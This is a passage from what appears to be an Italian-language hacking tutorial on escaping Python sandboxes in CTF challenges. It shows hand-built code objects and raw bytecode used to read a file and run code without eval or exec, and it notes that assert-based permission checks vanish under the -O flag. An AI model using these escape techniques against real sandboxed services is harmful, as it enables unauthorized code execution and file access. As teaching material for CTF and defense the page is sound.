mydict = {}
|
||
mydict['__builtins__'] = __builtins__
|
||
function_type(code_obj, mydict, None, None, None)("secretcode")
|
||
#ThisIsTheFlag
|
||
```
|
||
### Bypassare le difese
|
||
|
||
Nei precedenti esempi all'inizio di questo post, puoi vedere **come eseguire qualsiasi codice python usando la funzione `compile`**. Questo è interessante perché puoi **eseguire script interi** con loop e tutto il resto in **una singola riga** (e potremmo fare lo stesso usando **`exec`**).\
|
||
Comunque, a volte può essere utile **creare** un **oggetto compilato** su una macchina locale ed eseguirlo sulla **CTF machine** (per esempio perché non abbiamo la funzione `compiled` nella CTF).
|
||
|
||
Per esempio, compiliamo ed eseguiamo manualmente una funzione che legge _./poc.py_:
|
||
```python
|
||
#Locally
|
||
def read():
|
||
return open("./poc.py",'r').read()
|
||
|
||
read.__code__.co_code
|
||
't\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00S'
|
||
```
|
||
|
||
```python
|
||
#On Remote
|
||
function_type = type(lambda: None)
|
||
code_type = type((lambda: None).__code__) #Get <type 'type'>
|
||
consts = (None, "./poc.py", 'r')
|
||
bytecode = 't\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00S'
|
||
names = ('open','read')
|
||
|
||
# And execute it using eval/exec
|
||
eval(code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ()))
|
||
|
||
#You could also execute it directly
|
||
mydict = {}
|
||
mydict['__builtins__'] = __builtins__
|
||
codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ())
|
||
function_type(codeobj, mydict, None, None, None)()
|
||
```
|
||
Se non puoi accedere a `eval` o `exec` puoi creare una **funzione vera e propria**, ma chiamarla direttamente in genere fallirà con: _constructor not accessible in restricted mode_. Quindi hai bisogno di una **funzione esterna all'ambiente ristretto che chiami questa funzione.**
|
||
```python
|
||
#Compile a regular print
|
||
ftype = type(lambda: None)
|
||
ctype = type((lambda: None).func_code)
|
||
f = ftype(ctype(1, 1, 1, 67, '|\x00\x00GHd\x00\x00S', (None,), (), ('s',), 'stdin', 'f', 1, ''), {})
|
||
f(42)
|
||
```
|
||
## Decompilazione di Python compilato
|
||
|
||
Usando strumenti come [**https://www.decompiler.com/**](https://www.decompiler.com) si può **decompilare** il codice Python compilato fornito.
|
||
|
||
**Consulta questo tutorial**:
|
||
|
||
|
||
{{#ref}}
|
||
../../basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md
|
||
{{#endref}}
|
||
|
||
## Varie Python
|
||
|
||
### Assert
|
||
|
||
Python eseguito con ottimizzazioni con il parametro `-O` rimuoverà le assert statements e qualsiasi codice condizionato dal valore di **debug**.\
|
||
Pertanto, controlli come
|
||
```python
|
||
def check_permission(super_user):
|
||
try:
|
||
assert(super_user)
|
||
print("\nYou are a super user\n")
|
||
except AssertionError:
|
||
print(f"\nNot a Super User!!!\n")
|
||
```
|
||
verrà bypassed
|
||
|
||
## Riferimenti
|
||
|
||
- [https://lbarman.ch/blog/pyjail/](https://lbarman.ch/blog/pyjail/)
|
||
- [https://ctf-wiki.github.io/ctf-wiki/pwn/linux/sandbox/python-sandbox-escape/](https://ctf-wiki.github.io/ctf-wiki/pwn/linux/sandbox/python-sandbox-escape/)
|
||
- [https://blog.delroth.net/2013/03/escaping-a-python-sandbox-ndh-2013-quals-writeup/](https://blog.delroth.net/2013/03/escaping-a-python-sandbox-ndh-2013-quals-writeup/)
|
||
- [https://gynvael.coldwind.pl/n/python_sandbox_escape](https://gynvael.coldwind.pl/n/python_sandbox_escape)
|
||
- [https://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html](https://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html)
|
||
- [https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6](https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6)
|
||
- [CVE-2023-33733 (ReportLab rl_safe_eval expression evaluation RCE) – NVD](https://nvd.nist.gov/vuln/detail/cve-2023-33733)
|
||
- [c53elyas/CVE-2023-33733 PoC and write-up](https://github.com/c53elyas/CVE-2023-33733)
|
||
- [0xdf: University (HTB) – Exploiting xhtml2pdf/ReportLab CVE-2023-33733 to gain RCE](https://0xdf.gitlab.io/2025/08/09/htb-university.html)
|
||
|
||
{{#include ../../../banners/hacktricks-training.md}}
|